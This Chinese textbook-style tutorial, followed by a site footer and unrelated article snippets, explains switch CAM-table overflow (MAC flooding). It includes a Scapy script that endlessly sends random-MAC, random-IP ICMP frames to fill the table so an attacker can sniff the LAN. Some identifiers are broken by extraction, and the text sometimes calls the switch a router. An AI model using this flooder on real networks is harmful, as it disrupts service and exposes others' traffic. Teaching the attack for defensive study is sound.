数据链路层DoS

 

 

91245220ba3245c3ae57931ba3ee98eb.png

图9-14    集线器应用原理

数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服 务攻击的主要目标为二层交换机。在早期网络中,通常都会使用集线器作为中间 处理设备。集线器属于纯硬件网络底层设备,没有任何“ 智能记忆” 能力和“学

习” 能力,也不具备交换机所具有的MAC地址表,所以集线器发送数据时都是没 有针对性的,而是采用广播的方式发送。也就是说当集线器要向某节点发送数据 时,不是直接把数据发送到目的节点,而是把数据包发送到与集线器相连的所有 节点,如图9-14所示。

当计算机1想要和计算机2通信时,首先计算机1将数据包发给集线器,由集  线器负责转发,但是当集线器不清楚哪个接口连接到了计算机2时,便会用广播  的方式向其他计算机发送数据包,此时如果网络中计算机设置为混杂模式,同样 也会接收到计算机2发送的数据。

 

 

 

 

 

交换机相比集线器而言,增加了“ 智能记忆” 能力和“学习” 能力,这两个功能  主要是通过交换机中的CAM表来实现的,这张表中保存了交换机中的每个接口所 连接计算机的MAC地址。

025c492600674409bd065b7d4ccf9307.png

图9-15    交换机应用原理

在应用交换机的局域网环境中,如图9-15所示,计算机1想要和计算机3通

信,会先将数据包发送到交换机上,由交换机提取接收到数据包的MAC地址,并 查询CAM表。如果在CAM表中检索到了对应的MAC地址信息,就将数据包发送  到查询到的MAC地址所对应的接口。如果没有查询到,再将数据包发往所有接口 相连接的主机。交换机的这项功能保证了局域网中交换机发送的数据包是以单播 形式传送的。但是CAM表是有一定限制的,在短时间内收到大量不同的源MAC    地址数据包时,CAM可能因为瞬间无法处理而溢出。溢出之后再次接收到的数据 包就会覆盖前面的条目,导致正常的数据包无法找到正确的对应关系,只能将数 据包广播出去,路由器的“ 智能记忆” 能力和“学习” 能力失效。此时攻击者只需要  在自己的计算机上将网卡设置为混杂模式,就能监听整个网络的数据。

综上所述,数据链路层的拒绝服务攻击其实就是通过伪造请求主机的MAC地 址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成

 

 

 

 

 

集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去,此时若 攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据 了。下面通过Python脚本分析这一功能。

1)构造随机的MAC地址和IP ,此处主要是利用Scapy自带的库函数 RandMAC() 和RandIP() ,如下代码是生成随机的MAC地址:

 

from scapy .all import *

import time

while(1) :

packet=Ether(src=RandMAC(),dst=RandMAC())

time .sleep(1)

print(packet.summary())

执行结果如下所示:

299eab29939c40e28b8bc702b70d51bc.png

2)当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机 查询CAM ,若不存在该信息,就会不断进行记录。短时间内,大量请求会导致 CAM被填满,失去交换机原有的功能。下面以ICMP数据包为例:

 

from scapy .all import *

import optparse

def attack(interface) :

pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=Rand IP(),dst=Rand IP())/ ICMP()

sendp(pkt,iface=interface)

def main() :

parser=optparse .OptionParser("%prog "+"-i interface")

parser .add_option( '-i ',dest= 'interface ',default= 'eth0 ',type= 'string ', help= 'Interface ')

(options,args)=parser .parse_args()

interface=options .interface

 

 

 

 

 

try:

while True:

attack(interface)

except Keyboard Interrupt :

print( '------------- ')

print( 'Finished! ')

if __name__== '__main__ ' :

main()

执行结果如下所示:

ba3cd5a80e58439e84afed92e16adbbc.png

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/673452.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python高级属性访问使用方法

Python中的高级属性访问是指通过特殊的方法来实现对属性的访问和操作。以下是几个常用的高级属性访问方法: getattr__和__setattr: __getattr__方法在访问不存在的属性时被调用,可以在方法中实现自定义的默认值或错误处理逻辑。__setattr__方法在给属性赋值时被调用,可以在…

云安全领域前瞻:2024年五大瞩目趋势解析

综述 随着2024年对生成型人工智能的炒作达到顶峰,这种类型的人工智能将对攻击者和安全团队的行动产生重大影响。尽管生成式人工智能不会是一些人期待的灵丹妙药,但它将提升我们执行任务的能力,例如检测异常、预测威胁和自动响应安全事件。 …

Airtest实现在手机界面快速批量采集数据

Airtest实现在手机界面快速批量采集数据 一、问题 Airtest使用的poco方法比较慢,寻找差不多一周,看完这篇文章能节省一周时间,希望帮到大家。二、解决思路 使用Airtest图像识别,这样就会速度上提升效率。 三、解决办法 使用页面规律,要找到每条数据的附近规律(一般是图…

发廊理发店微信小程序展示下单前端静态模板源码

模板描述:剪发小程序前端源码,一共五个页面,包括店铺、理发师、订单、我的等页面 注:该源码是前端静态模板源码,没有后台和API接口

代码随想录训练营第三十期|第二十九天|回溯算法part05|491.递增子序列* 46.全排列* 47.全排列 II

491. 非递减子序列 - 力扣&#xff08;LeetCode&#xff09; class Solution {public List<List<Integer>> findSubsequences(int[] nums) {List<List<Integer>> res new ArrayList<>();List<Integer> list new ArrayList<>();df…

PCIE和USB 耦合电容放置位置记录- 一般放置在TX端

PCIE耦合电容位置 以下为引用内容&#xff0c;为记录而做的本篇文章&#xff1a; 1、PCIe标准里面明确规定&#xff1a;当两个设备通过连接器互联时&#xff0c;必须放置交流耦合电容到TX端&#xff1b; 2、放远放近最大的不同时高速信号传输中的介质损耗和趋肤效应不同&#…

【Git】08 多人单分支协作场景

文章目录 一、场景1&#xff1a;不同人修改不同文件1.1 场景描述1.2 场景复现1.2.1 克隆到本地1.2.2 新建分支1.2.3 B修改、提交与推送1.2.4 A修改与提交1.2.5 B再次修改并推送1.2.6 A推送报错 1.3 解决 二、场景2&#xff1a;不同人修改同文件的不同区域2.1 场景描述2.2 场景复…

c# Zip压缩解压缩

public class ZipHelper { #region ZipFile 压缩文件 /// <summary> /// 压缩 /// </summary> /// <param name"strDirectory">要压缩的目录</param> /// <param name"zipFile"&g…

python:lxml 读目录.txt文件,用 xmltodict 转换为json数据,生成jstree所需的文件

请参阅&#xff1a;java : pdfbox 读取 PDF文件内书签 请注意&#xff1a;书的目录.txt 编码&#xff1a;UTF-8&#xff0c;推荐用 Notepad 转换编码。 pip install lxml ; lxml-5.1.0-cp310-cp310-win_amd64.whl (3.9 MB) pip install xmltodict ; lxml 读目录.txt文件&…

计算机网络概念、组成、功能和分类

文章目录 概要1.怎么学习计算机网络2.概念3.功能、组成4.工作方式、功能组成5.分类 概要 概念、组成、功能和分类 1.怎么学习计算机网络 2.概念 通信设备&#xff1a;比如路由器、路由器 线路&#xff1a;将系统和通信设备两者联系的介质之类的 计算机网络是互连的、自治的的计…

如何设计一个预约抢购活动

总体架构设计 互联网大量数据的存储设计 1&#xff09;哈希算法&#xff0c;对商品ID进行分片 节点取模的形式&#xff0c;优点是均匀分布&#xff0c;缺点是扩展性不好。所以&#xff0c;我们可以采用一致性hash。 一致性HASH的优点&#xff1a; 解决单一热点问题&#xf…

3060ti显卡+cuda12.1+win10编译安装生成fastdeploy的c++与python库

在cuda12中,调用官方发布的fastdeploy会出现报错,故此自行编译fastdeploy库。 官网编译教程:https://github.com/PaddlePaddle/FastDeploy/blob/develop/docs/cn/build_and_install/gpu.md 可选编译选项 编译选项 无论是在何平台编译,编译时仅根据需求修改如下选项,勿…

分布式springboot 3项目集成mybatis官方生成器开发记录

文章目录 说明实现思路实现步骤第一步&#xff1a;创建generator子模块第二步&#xff1a;引入相关maven插件和依赖第三步&#xff1a;编写生成器配置文件第四步&#xff1a;运行查看结果 说明 该文章为作者开发学习记录&#xff0c;方便以后复习和交流主要内容为&#xff1a;…

MGIE官网体验入口 苹果多模态大语言模型AI图像编辑工具在线使用地址

MGIE是一项由苹果开源的技术&#xff0c;利用多模态大型语言模型&#xff08;MLLMs&#xff09;生成图像编辑指令&#xff0c;通过端到端训练&#xff0c;捕捉视觉想象力并执行图像处理操作&#xff0c;使图像编辑更加智能、直观。 MGIE官网体验入口https://github.com/apple/M…

Mybatis- plus 基本使用

目录 一. 引入依赖 二.定义Mapper 三.常见注解 3.1TableName 3.2.TableId 3.3TableField 3.4常见配置 一. 引入依赖 由于这个starter包含对mybatis的自动装配&#xff0c;因此完全可以替换掉Mybatis的starter。 <dependency><groupId>com.baomidou</gr…

人工智能之估计量评估标准及区间估计

评估估计量的标准 无偏性:若估计量( X 1 , X 2 , ⋯   , X n X_1,X_2,\cdots,X_n X1​,X2​,⋯,Xn​)的数学期望等于未知参数θ,即 E ( θ ^ ) = θ E(\hat\theta)=\theta E(θ^)=θ 则称 θ ^ \hat\theta θ^为θ的无偏估计量。 估计量 θ ^ \hat\theta θ^的值不一定就是…

Python: pip install -e

pip install -e . 该命令会执行当前目录下的setup.py文件,将当前项目以editable mode安装&#xff1b; # pip 文档 https://pip.pypa.io/en/stable/cli/pip_install/ # Editable Install vs. Regular Install https://pip.pypa.io/en/stable/topics/local-project-install…

Python 装饰器的理解

装饰器是一个特殊的函数&#xff0c;它接受一个函数作为参数&#xff0c;并返回一个新的函数。 通过使用装饰器&#xff0c;可以在不修改原始函数代码的情况下扩展其功能&#xff0c;增加代码的灵活性和可维护性。 装饰器在定义之后立即跟在需要被装饰的函数的定义之前&#…

Vivado -RAM

ip_ram 定义了一个名为ip_ram的模块&#xff0c;该模块具有以下端口&#xff1a; sys_clk&#xff1a;系统时钟输入。 sys_rst_n&#xff1a;系统复位输入。 module ip_ram( input sys_clk, input sys_rst_n);wire ram_en ; wire ram_wea …

c++设计模式之代理模式

作用 代理模式主要用于&#xff0c;通过代理类&#xff0c;来控制实际对象的访问权限 案例 class VideoSite { public:virtual void freeVideo()0;virtual void vipVideo()0;virtual void trickVideo()0; };class FixBugVideoSite:public VideoSite { public:void freeVideo()…